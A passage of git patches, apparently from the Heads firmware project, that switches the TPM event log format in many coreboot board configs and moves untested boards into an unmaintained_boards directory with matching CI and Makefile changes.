b/src/mainboard/lenovo/x230/Makefile.mk index 8e801f145dd..6e6f9f90b9f 100644 ---- a/src/mainboard/lenovo/x230/Makefile.mk -+++ b/src/mainboard/lenovo/x230/Makefile.mk +--- a/src/mainboard/lenovo/x230/Makefile.inc ++++ b/src/mainboard/lenovo/x230/Makefile.inc @@ -5,4 +5,9 @@ bootblock-y += variants/$(VARIANT_DIR)/gpio.c romstage-y += variants/$(VARIANT_DIR)/early_init.c romstage-y += variants/$(VARIANT_DIR)/gpio.c From b91eaeda97c107b594b2e23ef1a69b35b6128d53 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 19 Feb 2024 13:18:51 -0500 Subject: [PATCH 028/619] boards aimed to bump at coreboot 4.22.01: switch TPM event log format to TCG Signed-off-by: Thierry Laurion --- config/coreboot-p8z77-m_pro-tpm1.config | 4 ++-- config/coreboot-qemu-tpm1.config | 4 ++-- config/coreboot-t420-maximized.config | 4 ++-- config/coreboot-t420.config | 4 ++-- config/coreboot-t430-legacy.config | 4 ++-- config/coreboot-t430-maximized.config | 4 ++-- config/coreboot-t440p.config | 4 ++-- config/coreboot-t530-dgpu-maximized.config | 4 ++-- config/coreboot-t530-maximized.config | 4 ++-- config/coreboot-w530-dgpu-K1000m-maximized.config | 4 ++-- config/coreboot-w530-dgpu-K2000m-maximized.config | 4 ++-- config/coreboot-w530-maximized.config | 4 ++-- config/coreboot-w541.config | 4 ++-- config/coreboot-x220-maximized.config | 4 ++-- config/coreboot-x220.config | 4 ++-- config/coreboot-x230-legacy-flash.config | 4 ++-- config/coreboot-x230-legacy.config | 4 ++-- config/coreboot-x230-maximized-fhd_edp.config | 4 ++-- config/coreboot-x230-maximized.config | 4 ++-- 19 files changed, 38 insertions(+), 38 deletions(-) diff --git a/config/coreboot-p8z77-m_pro-tpm1.config b/config/coreboot-p8z77-m_pro-tpm1.config index 4731c9ef8..51f30a3e6 100644 --- a/config/coreboot-p8z77-m_pro-tpm1.config +++ b/config/coreboot-p8z77-m_pro-tpm1.config @@ -519,8 +519,8 @@ CONFIG_TPM=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 5732a181e..214ff7f2a 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -415,8 +415,8 @@ CONFIG_TPM=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index 5d9c7bf5a..63f061ef3 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -537,8 +537,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-t420.config b/config/coreboot-t420.config index 1dcc32e1c..05d9e4c5c 100644 --- a/config/coreboot-t420.config +++ b/config/coreboot-t420.config @@ -536,8 +536,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-t430-legacy.config b/config/coreboot-t430-legacy.config index 6cac07109..03c569622 100644 --- a/config/coreboot-t430-legacy.config +++ b/config/coreboot-t430-legacy.config @@ -524,8 +524,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index faa9a49b7..108076214 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -537,8 +537,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 8b569337f..702701e7c 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -530,8 +530,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-t530-dgpu-maximized.config b/config/coreboot-t530-dgpu-maximized.config index eccd79a03..5b967a7f7 100644 --- a/config/coreboot-t530-dgpu-maximized.config +++ b/config/coreboot-t530-dgpu-maximized.config @@ -572,8 +572,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index f8f1a355d..095b847e6 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -539,8 +539,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-w530-dgpu-K1000m-maximized.config b/config/coreboot-w530-dgpu-K1000m-maximized.config index 837694cb8..604e8a84f 100644 --- a/config/coreboot-w530-dgpu-K1000m-maximized.config +++ b/config/coreboot-w530-dgpu-K1000m-maximized.config @@ -573,8 +573,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-w530-dgpu-K2000m-maximized.config b/config/coreboot-w530-dgpu-K2000m-maximized.config index e49ad2ee9..34621f8d4 100644 --- a/config/coreboot-w530-dgpu-K2000m-maximized.config +++ b/config/coreboot-w530-dgpu-K2000m-maximized.config @@ -573,8 +573,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index c0322dbef..1780e2e91 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -540,8 +540,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index fe84f97ed..d40ccd68f 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -529,8 +529,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 8527c866c..4434611d0 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -536,8 +536,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-x220.config b/config/coreboot-x220.config index 8527c866c..4434611d0 100644 --- a/config/coreboot-x220.config +++ b/config/coreboot-x220.config @@ -536,8 +536,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 53207fc8f..89afa4a74 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -522,8 +522,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index 569fc1584..d0e9ab0bc 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -522,8 +522,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index e91f9ea76..d17f7962a 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -535,8 +535,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index edffda538..16e396c04 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -533,8 +533,8 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 From 9fcd5f8fe488389734423e8d15606b433d675c10 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 25 Mar 2024 16:05:27 -0400 Subject: [PATCH 029/619] Move boards/UNTESTED_* boards to untested_boards/UNMAINTAINED_*, remove them from CircleCI, add Makefile helper and document untested_boards/README.md Signed-off-by: Thierry Laurion --- .circleci/config.yml | 135 ++---------------- Makefile | 12 ++ unmaintained_boards/README.md | 4 + ...MAINTAINED_kgpe-d16_server-whiptail.config | 0 .../UNMAINTAINED_kgpe-d16_server.config | 0 ...D_kgpe-d16_workstation-usb_keyboard.config | 0 .../UNMAINTAINED_kgpe-d16_workstation.config | 0 ...NED_p8z77-m_pro-tpm1-hotp-maximized.config | 0 ...INTAINED_p8z77-m_pro-tpm1-maximized.config | 0 .../UNMAINTAINED_qemu-linuxboot.config | 0 .../UNMAINTAINED_t420.config | 0 .../UNMAINTAINED_t430-hotp-legacy.config | 0 .../UNMAINTAINED_t430-legacy-flash.config | 0 .../UNMAINTAINED_t430-legacy.config | 0 .../UNMAINTAINED_t520-hotp-maximized.config | 0 .../UNMAINTAINED_t520-maximized.config | 0 ...MAINTAINED_t530-dgpu-hotp-maximized.config | 0 .../UNMAINTAINED_t530-dgpu-maximized.config | 0 .../UNMAINTAINED_t530-hotp-maximized.config | 0 .../UNMAINTAINED_t530-maximized.config | 0 ...NED_w530-dgpu-K1000m-hotp-maximized.config | 0 ...INTAINED_w530-dgpu-K1000m-maximized.config | 0 ...NED_w530-dgpu-K2000m-hotp-maximized.config | 0 ...INTAINED_w530-dgpu-K2000m-maximized.config | 0 .../UNMAINTAINED_x220.config | 0 .../UNTESTED_leopard/UNTESTED_leopard.config | 0 .../UNTESTED_r630/UNTESTED_r630.config | 0 .../UNTESTED_s2600wf/UNTESTED_s2600wf.config | 0 .../UNTESTED_tioga/UNTESTED_tioga.config | 0 .../UNTESTED_winterfell.config | 0 .../UNTESTED_winterfell/uinit.go | 0 31 files changed, 31 insertions(+), 120 deletions(-) create mode 100644 unmaintained_boards/README.md rename boards/UNTESTED_kgpe-d16_server-whiptail/UNTESTED_kgpe-d16_server-whiptail.config => unmaintained_boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config (100%) rename boards/UNTESTED_kgpe-d16_server/UNTESTED_kgpe-d16_server.config => unmaintained_boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config (100%) rename boards/UNTESTED_kgpe-d16_workstation-usb_keyboard/UNTESTED_kgpe-d16_workstation-usb_keyboard.config => unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config (100%) rename boards/UNTESTED_kgpe-d16_workstation/UNTESTED_kgpe-d16_workstation.config => unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config (100%) rename boards/UNTESTED_p8z77-m_pro-tpm1-hotp-maximized/UNTESTED_p8z77-m_pro-tpm1-hotp-maximized.config => unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-hotp-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-hotp-maximized.config (100%) rename boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config => unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config (100%) rename boards/UNTESTED_qemu-linuxboot/UNTESTED_qemu-linuxboot.config => unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config (100%) rename boards/UNTESTED_t420/UNTESTED_t420.config => unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config (100%) rename boards/UNTESTED_t430-hotp-legacy/UNTESTED_t430-hotp-legacy.config => unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config (100%) rename boards/UNTESTED_t430-legacy-flash/UNTESTED_t430-legacy-flash.config => unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config (100%) rename boards/UNTESTED_t430-legacy/UNTESTED_t430-legacy.config => unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config (100%) rename boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config => unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config (100%) rename boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config => unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config (100%) rename boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config => unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config (100%) rename boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config => unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config (100%) rename boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config => unmaintained_boards/UNMAINTAINED_t530-hotp-maximized/UNMAINTAINED_t530-hotp-maximized.config (100%) rename boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config => unmaintained_boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config (100%) rename boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config => unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config (100%) rename boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config => unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config (100%) rename boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config => unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config (100%) rename boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config => unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config (100%) rename boards/UNTESTED_x220/UNTESTED_x220.config => unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config (100%) rename {boards => unmaintained_boards}/UNTESTED_leopard/UNTESTED_leopard.config (100%) rename {boards => unmaintained_boards}/UNTESTED_r630/UNTESTED_r630.config (100%) rename {boards => unmaintained_boards}/UNTESTED_s2600wf/UNTESTED_s2600wf.config (100%) rename {boards => unmaintained_boards}/UNTESTED_tioga/UNTESTED_tioga.config (100%) rename {boards => unmaintained_boards}/UNTESTED_winterfell/UNTESTED_winterfell.config (100%) rename {boards => unmaintained_boards}/UNTESTED_winterfell/uinit.go (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 1e44203b6..1d4fda00b 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -286,13 +286,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_t520-hotp-maximized - target: UNTESTED_t520-hotp-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: t420-maximized target: t420-maximized @@ -300,13 +293,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_t520-maximized - target: UNTESTED_t520-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: x230-legacy-flash target: x230-legacy-flash @@ -314,27 +300,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_t430-legacy-flash - target: UNTESTED_t430-legacy-flash - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: UNTESTED_t430-legacy - target: UNTESTED_t430-legacy - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: UNTESTED_t430-hotp-legacy - target: UNTESTED_t430-hotp-legacy - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: x230-legacy target: x230-legacy @@ -384,20 +349,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_t530-hotp-maximized - target: UNTESTED_t530-hotp-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: UNTESTED_t530-dgpu-hotp-maximized - target: UNTESTED_t530-dgpu-hotp-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: w530-hotp-maximized target: w530-hotp-maximized @@ -405,20 +356,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_w530-dgpu-K1000m-hotp-maximized - target: UNTESTED_w530-dgpu-K1000m-hotp-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: UNTESTED_w530-dgpu-K2000m-hotp-maximized - target: UNTESTED_w530-dgpu-K2000m-hotp-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: t430-maximized target: t430-maximized @@ -426,20 +363,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_t530-maximized - target: UNTESTED_t530-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: UNTESTED_t530-dgpu-maximized - target: UNTESTED_t530-dgpu-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: w530-maximized target: w530-maximized @@ -447,20 +370,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_w530-dgpu-K1000m-maximized - target: UNTESTED_w530-dgpu-K1000m-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: UNTESTED_w530-dgpu-K2000m-maximized - target: UNTESTED_w530-dgpu-K2000m-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: t440p-maximized target: t440p-maximized @@ -510,20 +419,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: UNTESTED_p8z77-m_pro-tpm1-maximized - target: UNTESTED_p8z77-m_pro-tpm1-maximized - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: UNTESTED_p8z77-m_pro-tpm1-hotp-maximized - target: UNTESTED_p8z77-m_pro-tpm1-hotp-maximized - subcommand: "" - requires: - - x230-hotp-maximized - #coreboot-git librem boards - build: name: librem_13v2 @@ -576,25 +471,25 @@ workflows: - nitropad-nv41 # - build: -# name: UNTESTED_kgpe-d16_workstation-usb_keyboard -# target: UNTESTED_kgpe-d16_workstation-usb_keyboard +# name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard +# target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard # subcommand: "" # requires: -# - UNTESTED_kgpe-d16_workstation +# - UNMAINTAINED_kgpe-d16_workstation # - build: -# name: UNTESTED_kgpe-d16_server -# target: UNTESTED_kgpe-d16_server +# name: UNMAINTAINED_kgpe-d16_server +# target: UNMAINTAINED_kgpe-d16_server # subcommand: "" # requires: -# - UNTESTED_kgpe-d16_workstation +# - UNMAINTAINED_kgpe-d16_workstation # - build: -# name: UNTESTED_kgpe-d16_server-whiptail -# target: UNTESTED_kgpe-d16_server-whiptail +# name: UNMAINTAINED_kgpe-d16_server-whiptail +# target: UNMAINTAINED_kgpe-d16_server-whiptail # subcommand: "" # requires: -# - UNTESTED_kgpe-d16_workstation +# - UNMAINTAINED_kgpe-d16_workstation # - build: # name: librem_l1um @@ -611,24 +506,24 @@ workflows: # linuxboot steps need something to pass in the kernel header path # skipping for now # - run: -# name: UNTESTED_qemu-linuxboot-edk2 +# name: UNMAINTAINED_qemu-linuxboot-edk2 # command: | # ./build/make-4.2.1/make \ # CROSS=/cross/bin/x86_64-linux-musl- \ -# BOARD=UNTESTED_qemu-linuxboot \ +# BOARD=UNMAINTAINED_qemu-linuxboot \ # `/bin/pwd`/build/linuxboot-git/build/qemu/.configured \ # # Run first to avoid too many processes # # - run: -# name: UNTESTED_qemu-linuxboot +# name: UNMAINTAINED_qemu-linuxboot # command: | # ./build/make-4.2.1/make \ # CROSS=/cross/bin/x86_64-linux-musl- \ # CPUS=16 \ # V=1 \ -# BOARD=UNTESTED_qemu-linuxboot \ +# BOARD=UNMAINTAINED_qemu-linuxboot \ # # - store-artifacts: -# path: build/UNTESTED_qemu-linuxboot/linuxboot.rom +# path: build/UNMAINTAINED_qemu-linuxboot/linuxboot.rom # - store-artifacts: -# path: build/UNTESTED_qemu-linuxboot/hashes.txt +# path: build/UNMAINTAINED_qemu-linuxboot/hashes.txt diff --git a/Makefile b/Makefile index 0e2de85f1..a64d4b09f 100644 --- a/Makefile +++ b/Makefile @@ -748,6 +748,18 @@ board.move_untested_to_tested: echo "Replacing $$BOARD with $$NEW_BOARD in .circleci/config.yml"; \ sed -i "s/$$BOARD/$$NEW_BOARD/g" .circleci/config.yml +board.move_untested_to_unmaintained: + @echo "NEW_BOARD variable will move from UNTESTED_ to UNMAINTAINED_ from $(BOARD)" + @NEW_BOARD=$$(echo $(BOARD) | sed 's/^UNTESTED_/UNMAINTAINED_/g'); \ + echo "Renaming boards/$$BOARD/$$BOARD.config to boards/$$BOARD/$$NEW_BOARD.config"; \ + mkdir -p unmaintained_boards; \ + mv boards/$$BOARD/$$BOARD.config unmaintained_boards/$$BOARD/$$NEW_BOARD.config; \ + echo "Renaming boards/$$BOARD to unmaintainted_boards/$$NEW_BOARD"; \ + rm -rf boards/$$NEW_BOARD; \ + mv boards/$$BOARD unmaintained_boards/$$NEW_BOARD; \ + echo "Replacing $$BOARD with $$NEW_BOARD in .circleci/config.yml. Delete manually entries"; \ + sed -i "s/$$BOARD/$$NEW_BOARD/g" .circleci/config.yml + board.move_tested_to_untested: @echo "NEW_BOARD variable will add UNTESTED_ prefix to $(BOARD)" @NEW_BOARD=UNTESTED_$(BOARD); \ diff --git a/unmaintained_boards/README.md b/unmaintained_boards/README.md new file mode 100644 index 000000000..41ee2010d --- /dev/null +++ b/unmaintained_boards/README.md @@ -0,0 +1,4 @@ +Boards under this directory were moved from UNTESTED_ to UNMAINTAINED_ automatically since untested for a while. +Boards not having 